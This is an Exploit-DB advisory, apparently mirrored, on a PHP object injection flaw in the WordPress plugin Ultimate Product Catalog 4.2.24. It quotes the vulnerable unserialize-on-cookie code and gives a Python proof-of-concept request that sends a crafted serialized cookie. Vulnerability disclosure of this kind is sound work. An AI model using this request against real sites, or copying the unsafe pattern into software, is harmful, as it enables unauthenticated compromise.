WordPress Plugin Ultimate Product Catalog 4.2.24 – PHP Object Injection

Exploit Database
144 阅读

作者： tomplixsee

日期： 2017-10-30
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/43065/

# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]

# Google Dork: [NA]

# Date: [Okt 30 2017]

# Exploit Author: [tomplixsee]

# Author blog : [cupuzone.wordpress.com]

# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]

# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]

# Version: [<= 4.2.24]

# Tested on: [Ubuntu Server 16.04]

# CVE : [NA]

tested on app version 4.2.23, 4.2.24

we can send an evil cookie (login not required) to vulnerable function

1. vulnerable code on Functions/Process_Ajax.php <= tested

203 // Adds an item to the plugin's cart

204 function UPCP_Add_To_Cart() {

205 global $woocommerce;

206 global $wpdb;

207 global $items_table_name;

208

209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");

210

211 if ($WooCommerce_Checkout == "Yes") {

212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));

213 echo "WC ID: " . $WC_Prod_ID . "<Br>";

214 $woocommerce->cart->add_to_cart($WC_Prod_ID);

215 }

216

217 if (isset($_COOKIE['upcp_cart_products'])) {

218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));

219 }

220 else {

221 $Products_Array = array();

222 }

223

224 $Products_Array[] = $_POST['prod_ID'];

225 $Products_Array = array_unique($Products_Array);

226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");

227 }

228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');

229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );

2. vulnerable code on Functions/Shortcodes.php <= not tested

POC

1. use a WP plugin to test php object injection,

like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/

2. make a request

#-----------------------------------

#! /usr/bin/python

import requests

url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";

data = {'action':'upcp_add_to_cart'}

headers = {

'Content-type': 'application/x-www-form-urlencoded',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',

'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'

}

r = requests.post(url, data=data, headers=headers)

print r.content

#------------------------------------